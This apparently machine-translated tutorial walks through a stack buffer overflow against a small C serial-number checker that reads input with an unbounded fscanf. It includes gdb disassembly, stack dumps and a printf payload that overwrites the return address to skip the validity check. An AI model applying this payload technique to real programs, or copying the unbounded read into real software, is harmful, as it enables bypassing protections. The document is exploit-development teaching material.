Shellcode The first example of learning.
The following is a command-line program written in C that examines the numbers entered by the user and determines whether they are legitimate. Here the user's input is placed in the function buffer, but the program does not check the length of the buffer, leaving a loophole. This can be used to bypass the digital prosecution, so that any input will be judged to be correct.
In validate_serial , the address of theDo_valid_stuff overflows to the return value of the function, which can be implemented.
SOURCE program
#include <stdio.h>#include <stdlib.h>#include <string.h>int valid_serial(char * psz){ size_t len = strlen(psz); unsigned total = 0; size_t i; if (len<10) return 0; for (i = 0; i < len; i++) { if ((psz[i]<‘0‘) || (psz[i]>‘z‘)) return 0; total += psz[i]; } if (total % 853 == 83) return 1; return 0; }int valildate_serial(){ char serial[24]; fscanf(stdin, "%s", serial); if (valid_serial(serial)) return 1; else return 0;}int do_valid_stuff(){ printf("the serial number is valid!\n"); exit(0);}int do_invalid_stuff(){ printf("invalid serial number!\nexiting\n"); exit(1);}int main(int argc, char * argv[]){ if (valildate_serial()) do_valid_stuff(); else do_invalid_stuff(); return 0;}
Disassembly Main
(gdb) disass mainDump of assembler code for function main: 0x0804861a <+0>: push %ebp 0x0804861b <+1>: mov %esp,%ebp 0x0804861d <+3>: call 0x804859f <valildate_serial> 0x08048622 <+8>: test %eax,%eax 0x08048624 <+10>: je 0x804862d <main+19> 0x08048626 <+12>: call 0x80485de <do_valid_stuff> 0x0804862b <+17>: jmp 0x8048632 <main+24> 0x0804862d <+19>: call 0x80485fc <do_invalid_stuff> 0x08048632 <+24>: mov $0x0,%eax 0x08048637 <+29>: pop %ebp 0x08048638 <+30>: retEnd of assembler dump.
The address of the Do_valid_stuff can be obtained is 0x08048626. The return address of the validate_serial is 0x08048622. The following is the return address through overflow modification.
Buffer overflow
In the source code, the buffer length is 24, theoretically, as long as the data is covered 24+2. We need to check, break points at fscanf, and look at the stack contents.
Breakpoint 1, Valildate_serial () at serial.c:3131 fscanf (stdin, "%s", serial);(gdb) x/20x $esp 0xbffff6bc:0x 0804869b 0x00000001 0xbffff794 0xbffff79c0xbffff6cc:0xbffff6e8 0xb7e987f5 0xb7ff0590 0x 0804865b0xbffff6dc:0xb7fc7ff4 0xbffff6e8 0x08048622 0xbffff7680xbffff6ec:0xb7e7fe46 0x000000 0xbffff794 0xbffff79c0xbffff6fc:0xb7fe0860 0xb7ff6821 0xFFFFFFFF 0xb7ffeff4 (gdb) caaaaaaaa Aabbbbbbbbbbcccccccc1234breakpoint 2, Valildate_serial () at serial.c:3333 if (valid_serial (serial)) (GDB) x/20x $ esp0xbffff6bc:0xb7fc8440 0x080486d0 0xbffff6c8 0x414141410xbffff6cc:0x41414141 0x42424141 0x42424242 0x424242420xbffff6dc:0x43434343 0x43434343 0x34333231 0xbffff7000xbffff6ec:0xb 7e7fe46 0x00000001 0xbffff794 0xbffff79c0xbffff6fc:0xb7fe0860 0xb7ff6821 0xFFFFFFFF 0xb 7FFEFF4 (GDB)
You can see that "1234" corresponds to the ASCII code "0x34333231" has been written to the return value "0x08048622" where it was originally.
Next, replace "1234" with the return address we need.
Let's go back to the shell and experiment.
[email protected]:~/Desktop/shellcode/validate_serial$ printf "AAAAAAAAAABBBBBBBBBBCCCCCCCC\x26\x86\x04\x08" | ./serialthe serial number is valid!
Success bypasses the program's inspection mechanism.
[Shellcode Learning] Bypass condition judgment